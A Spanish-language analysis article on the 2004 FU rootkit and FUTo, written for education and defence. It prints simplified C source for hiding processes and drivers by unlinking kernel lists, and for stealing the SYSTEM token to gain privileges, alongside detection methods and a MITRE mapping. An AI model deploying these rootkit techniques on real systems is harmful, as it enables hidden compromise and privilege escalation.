AvanzadorootkitsDKOMFU RootkitFUTokernelWindowsJamie Butler

FU Rootkit: Análisis del Rootkit DKOM que Cambió la Historia

Análisis técnico del FU Rootkit de Jamie Butler (2004). Primera implementación pública de DKOM para ocultar procesos, drivers y elevar privilegios en Windows.

MalwareIntel Research··11 min lectura
Serie: Rootkits y Bootkits — Parte 6

El rootkit que enseñó a manipular el kernel

En agosto de 2004, Jamie Butler subió al escenario de Black Hat USA para presentar una herramienta que cambiaría la investigación de rootkits para siempre. FU Rootkit no era el primer rootkit de kernel para Windows. Pero fue el primero en demostrar públicamente que no hacía falta hookear funciones del sistema para ocultar procesos: bastaba con modificar los datos que esas funciones leían.

La técnica se llamaba DKOM (Direct Kernel Object Manipulation). Antes de FU, los rootkits de kernel interceptaban llamadas al sistema via SSDT hooking. FU demostró una alternativa más sigilosa: manipular directamente las estructuras de datos del kernel de Windows. Sin patches al código ejecutable. Sin hooks detectables. Solo datos modificados.

Contexto histórico: el estado del arte en 2003-2004

Rootkits antes de FU

Los rootkits de Windows evolucionaron en tres fases previas a FU:

  1. User-mode rootkits (1999-2001): modificaban binarios del sistema (netstat.exe, taskmgr.exe) o hookeaban funciones de la API de Windows en user space. Detectables comparando los binarios con copias limpias.

  2. SSDT hooking (2001-2003): rootkits como Hacker Defender hookeaban la System Service Descriptor Table para interceptar NtQuerySystemInformation, NtQueryDirectoryFile y otras syscalls. Más profundos que user-mode, pero dejaban huellas: los punteros de la SSDT apuntaban fuera del rango de ntoskrnl.exe.

  3. IAT/EAT hooking: variantes que hookeaban las Import/Export Address Tables de módulos del kernel. Más selectivos que SSDT hooking pero con las mismas limitaciones fundamentales: modificaban código o punteros a código.

El problema de los hooks

Todos los rootkits basados en hooking compartían una debilidad: modificaban algo verificable. Una herramienta de detección podía:

  • Comparar los punteros de la SSDT con los originales de ntoskrnl.exe
  • Verificar que los entry points de funciones no estaban parcheados (inline hooks)
  • Comprobar que las IAT/EAT apuntaban a los módulos correctos

Jamie Butler y Greg Hoglund identificaron este punto ciego: nadie verificaba la integridad de las estructuras de datos del kernel. Las listas de procesos, las tablas de handles, los tokens de seguridad. Todos eran datos mutables que el kernel leía para responder consultas.

Arquitectura de FU Rootkit

FU seguía un diseño de dos componentes:

fu.exe (controlador user-mode)

Aplicación de consola que servía como interfaz de control. No contenía código de kernel. Sus funciones:

  • Cargar el driver msdirectx.sys en el kernel via NtLoadDriver o la API del Service Control Manager
  • Enviar comandos al driver via DeviceIoControl (IOCTLs)
  • Recibir resultados y mostrarlos al operador
// fu.exe: interfaz simplificada de comandos
// Uso: fu.exe -ph <PID>    (process hide)
//      fu.exe -prs          (process restore, algunas versiones)

int main(int argc, char* argv[]) {
    // 1. Abrir handle al device del driver
    HANDLE hDevice = CreateFile(
        "\\\\.\\msdirectx",       // Device name registrado por el driver
        GENERIC_READ | GENERIC_WRITE,
        0, NULL, OPEN_EXISTING, 0, NULL
    );
    
    if (hDevice == INVALID_HANDLE_VALUE) {
        // Driver no cargado, intentar cargarlo
        load_driver("msdirectx.sys");
        // Reintentar apertura...
    }
    
    // 2. Parsear comando y enviar IOCTL
    if (strcmp(argv[1], "-ph") == 0) {
        ULONG pid = atoi(argv[2]);
        DeviceIoControl(hDevice, IOCTL_HIDE_PROCESS,
                        &pid, sizeof(pid), NULL, 0, &bytes, NULL);
    }
    
    CloseHandle(hDevice);
    return 0;
}

msdirectx.sys (driver de kernel)

El nombre imitaba un driver legítimo de DirectX para pasar desapercibido en la lista de drivers cargados. Este componente contenía toda la lógica DKOM:

// msdirectx.sys: punto de entrada del driver
NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath) {
    // 1. Crear device object para recibir IOCTLs
    UNICODE_STRING devName = RTL_CONSTANT_STRING(L"\\Device\\msdirectx");
    IoCreateDevice(DriverObject, 0, &devName, FILE_DEVICE_UNKNOWN,
                   0, FALSE, &deviceObject);
    
    // 2. Crear symbolic link accesible desde user-mode
    UNICODE_STRING symLink = RTL_CONSTANT_STRING(L"\\DosDevices\\msdirectx");
    IoCreateSymbolicLink(&symLink, &devName);
    
    // 3. Registrar handler de IOCTLs
    DriverObject->MajorFunction[IRP_MJ_DEVICE_CONTROL] = FuDispatchIoctl;
    DriverObject->MajorFunction[IRP_MJ_CREATE] = FuCreateClose;
    DriverObject->MajorFunction[IRP_MJ_CLOSE]  = FuCreateClose;
    
    // 4. Resolver offsets de EPROCESS para esta version de Windows
    resolve_eprocess_offsets();
    
    return STATUS_SUCCESS;
}

Resolución dinámica de offsets

Un problema clave de DKOM: los offsets de las estructuras del kernel cambian entre versiones de Windows. FU resolvía esto en runtime:

// FU determinaba el offset de ActiveProcessLinks dinamicamente
// Buscaba el PID del proceso System (siempre PID 4) en EPROCESS
// y calculaba el offset relativo de ActiveProcessLinks

void resolve_eprocess_offsets(void) {
    PEPROCESS system_process = PsGetCurrentProcess(); // System process
    ULONG system_pid = 4;
    
    // Buscar el offset donde aparece el PID 4 en el EPROCESS de System
    UCHAR* base = (UCHAR*)system_process;
    for (ULONG offset = 0; offset < PAGE_SIZE; offset += sizeof(ULONG)) {
        if (*(ULONG*)(base + offset) == system_pid) {
            g_pid_offset = offset;
            // ActiveProcessLinks esta justo antes o despues del PID
            // (depende de la version de Windows)
            g_activeprocesslinks_offset = offset + sizeof(ULONG_PTR);
            break;
        }
    }
}

Funciones DKOM principales

1. Ocultación de procesos (EPROCESS unlinking)

La función central de FU. Desenlazaba un proceso de la lista doblemente enlazada ActiveProcessLinks:

NTSTATUS fu_hide_process(ULONG target_pid) {
    PEPROCESS target_eprocess;
    
    // Encontrar el EPROCESS del proceso objetivo
    NTSTATUS status = PsLookupProcessByProcessId(
        (HANDLE)(ULONG_PTR)target_pid, &target_eprocess
    );
    if (!NT_SUCCESS(status)) return status;
    
    // Calcular la posicion de ActiveProcessLinks en este EPROCESS
    PLIST_ENTRY list_entry = (PLIST_ENTRY)(
        (ULONG_PTR)target_eprocess + g_activeprocesslinks_offset
    );
    
    // Desenlazar: el anterior apunta al siguiente, y viceversa
    PLIST_ENTRY prev = list_entry->Blink;
    PLIST_ENTRY next = list_entry->Flink;
    prev->Flink = next;
    next->Blink = prev;
    
    // El proceso desenlazado apunta a si mismo
    // Esto evita BSOD si alguien intenta recorrer desde este nodo
    list_entry->Flink = list_entry;
    list_entry->Blink = list_entry;
    
    ObDereferenceObject(target_eprocess);
    return STATUS_SUCCESS;
}

Después de esta operación, cualquier función que recorriera ActiveProcessLinks (incluyendo NtQuerySystemInformation con clase SystemProcessInformation) no veía el proceso. Task Manager, Process Explorer, tasklist.exe, todos ciegos.

Pero el proceso seguía ejecutándose. El scheduler de Windows usa las estructuras de threads (KTHREAD), no la lista de procesos activos, para decidir qué ejecutar.

2. Ocultación del propio driver

FU también ocultaba su driver de la lista PsLoadedModuleList:

NTSTATUS fu_hide_driver(PDRIVER_OBJECT driver_to_hide) {
    // Cada driver tiene un DriverSection que apunta a LDR_DATA_TABLE_ENTRY
    PLDR_DATA_TABLE_ENTRY entry = 
        (PLDR_DATA_TABLE_ENTRY)driver_to_hide->DriverSection;
    
    // Desenlazar de InLoadOrderLinks
    // (misma tecnica que procesos: manipular Flink y Blink)
    PLIST_ENTRY prev = entry->InLoadOrderLinks.Blink;
    PLIST_ENTRY next = entry->InLoadOrderLinks.Flink;
    prev->Flink = next;
    next->Blink = prev;
    
    // Apuntar a si mismo
    entry->InLoadOrderLinks.Flink = &entry->InLoadOrderLinks;
    entry->InLoadOrderLinks.Blink = &entry->InLoadOrderLinks;
    
    return STATUS_SUCCESS;
}

Con esto, herramientas como DriverQuery o el listado de módulos en un debugger no mostraban msdirectx.sys. El driver seguía cargado y funcional en memoria.

FUTo: la evolución

Peter Silberman extendió FU con capacidades adicionales, creando FUTo (publicado entre 2005-2006). Las adiciones principales:

Token manipulation (escalada de privilegios)

FUTo podía copiar el token de seguridad del proceso SYSTEM al proceso del atacante:

NTSTATUS futo_steal_token(ULONG target_pid) {
    PEPROCESS system_process, target_process;
    
    // Obtener EPROCESS de System (PID 4)
    PsLookupProcessByProcessId((HANDLE)4, &system_process);
    PsLookupProcessByProcessId((HANDLE)(ULONG_PTR)target_pid, &target_process);
    
    // Leer el token de System
    PACCESS_TOKEN system_token = PsReferencePrimaryToken(system_process);
    
    // Sobrescribir el campo Token en el EPROCESS del proceso objetivo
    *(PACCESS_TOKEN*)((ULONG_PTR)target_process + g_token_offset) = system_token;
    
    // El proceso objetivo ahora tiene los privilegios de SYSTEM
    ObDereferenceObject(system_process);
    ObDereferenceObject(target_process);
    return STATUS_SUCCESS;
}

Esta tecnica (token stealing via DKOM) se convirtio en la base de la escalada de privilegios en exploits de kernel durante la siguiente decada. FUTo tambien incluia ocultacion de handles (eliminar handles sospechosos de la tabla del proceso) y ocultacion de puertos de red (manipular las estructuras internas del TCP/IP stack para que netstat no mostrara conexiones del malware).

Impacto en el ecosistema de rootkits

FU y FUTo generaron una cadena de rootkits DKOM que domino la decada 2004-2014:

RootkitAñoInnovación sobre FU
FU2003-2004Primera implementación pública de DKOM
FUTo2005-2006Token stealing, handle manipulation
Shadow Walker2005DKOM + page table manipulation para ocultar memoria
Rustock2006DKOM + polimorfismo + anti-debug
TDL3/TDL42008-2010DKOM + bootkit MBR + driver virtual
ZeroAccess2009DKOM + filesystem virtual en disco
Necurs2012DKOM + anti-AV activo

Todos estos rootkits usaban variaciones de las técnicas que FU demostró públicamente. La progresión es clara: FU probó que DKOM funcionaba; cada sucesor añadió capas de persistencia y evasión.

Detección: entonces y ahora

Herramientas disponibles en 2004

Cuando FU se presentó, las opciones de detección eran limitadas:

  • RKDetector / IceSword: comparaban la lista de procesos del Task Manager con una enumeración alternativa via CSRSS handle table. Si un proceso estaba en CSRSS pero no en la lista del sistema, era sospechoso.
  • GMER: una de las primeras herramientas en implementar cross-referencing de múltiples fuentes de enumeración de procesos.
  • Blacklight (F-Secure): usaba técnicas propietarias para detectar DKOM, nunca publicó los detalles exactos.

El problema fundamental: todas estas herramientas corrían en el mismo sistema que el rootkit. Un rootkit suficientemente sofisticado podía subvertirlas.

Detección moderna

Hoy, FU sería detectable por múltiples capas:

# Memory forensics con Volatility (no disponible en 2004)
# psscan encuentra procesos desenlazados por pool tag scanning
vol3 -f memory.dump windows.psscan

# Comparar con pslist para identificar discrepancias
vol3 -f memory.dump windows.pslist

# PID en psscan pero no en pslist = proceso oculto por DKOM
Defensa modernaContramedida contra FUDisponible en 2004
PatchGuard (KPP)Protege SSDT/IDT (no listas DKOM directamente)No (Windows Vista+)
Driver Signature EnforcementImpide cargar msdirectx.sys sin firmaNo (Windows Vista x64+)
Secure BootImpide bootkits que carguen drivers sin firmarNo (Windows 8+)
Volatility psscanPool tag scanning detecta EPROCESS desenlazadosNo (Volatility: 2007)
ETW Threat IntelligenceGenera eventos al manipular tokens/handlesNo (Windows 10+)
Hypervisor-based monitoringMonitoriza escrituras a estructuras del kernelNo (HVCI: Windows 10+)
Kernel Data Protection (KDP)Protege datos del kernel como read-onlyNo (Windows 10 20H1+)

La evolución defensiva fue directa respuesta a las técnicas que FU demostró. PatchGuard, Driver Signature Enforcement y Secure Boot cerraron los vectores de carga. Volatility resolvió el problema de detección en memoria. ETW-TI y HVCI atacan el problema desde dentro del hypervisor, una capa más profunda que el kernel que FU manipulaba.

Mapeo MITRE ATT&CK

TécnicaIDUso en FU/FUTo
RootkitT1014DKOM como mecanismo primario de ocultación
Hide Artifacts: Hidden ProcessT1564.001Desenlazar EPROCESS de ActiveProcessLinks
Access Token Manipulation: Token Impersonation/TheftT1134.001FUTo: copiar token de SYSTEM (PID 4)
Exploitation for Privilege EscalationT1068Carga de driver requiere privilegios de administrador
System Binary Proxy ExecutionT1218Carga del driver via SCM o NtLoadDriver
Modify RegistryT1112Registro del driver como servicio del kernel
Indicator Removal: Clear Windows Event LogsT1070.001Versiones extendidas limpiaban logs

Lecciones defensivas

FU Rootkit enseñó tres lecciones que siguen vigentes:

1. No confiar en una sola fuente de enumeración. Si Task Manager usa NtQuerySystemInformation y esta recorre ActiveProcessLinks, un atacante solo necesita manipular esa lista. Cross-referencing (comparar múltiples fuentes de verdad) detecta discrepancias.

2. La detección desde el mismo nivel que el atacante siempre pierde. Un rootkit de kernel puede subvertir cualquier herramienta que corra en kernel mode del mismo sistema. La detección fiable requiere un nivel inferior (hypervisor) o un sistema externo (memory forensics con Volatility sobre un dump).

3. Los datos son tan críticos como el código. La industria se enfocaba en detectar modificaciones de código (hooks, patches). FU demostró que modificar datos (listas, tokens, tablas) era igual de efectivo y más difícil de detectar. Esto impulsó el desarrollo de protecciones como Kernel Data Protection.


Fuentes y referencias

  • Butler, J. & Hoglund, G. "DKOM (Direct Kernel Object Manipulation)." Black Hat USA 2004.
  • Butler, J. & Hoglund, G. "Rootkits: Subverting the Windows Kernel." Addison-Wesley, 2005. ISBN 0-321-29431-9.
  • Silberman, P. "FUTo: Advancing DKOM." Uninformed.org, 2006.
  • Matrosov, A., Rodionov, E. & Bratus, S. "Rootkits and Bootkits: Reversing Modern Malware." No Starch Press, 2019.
  • Russinovich, M. et al. "Windows Internals Part 1." Microsoft Press, 7th Edition, 2017.
  • Volatility Foundation. "Process Listing Plugins." Volatility 3 Documentation.
  • MITRE ATT&CK. "Rootkit (T1014)." https://attack.mitre.org/techniques/T1014/
  • MITRE ATT&CK. "Access Token Manipulation (T1134)." https://attack.mitre.org/techniques/T1134/

Preguntas frecuentes

Artículos relacionados

Este contenido tiene fines exclusivamente educativos y de investigación en ciberseguridad defensiva. No se proporcionan binarios maliciosos ni payloads ejecutables. El uso indebido de esta información es responsabilidad exclusiva del usuario. Leer disclaimer completo.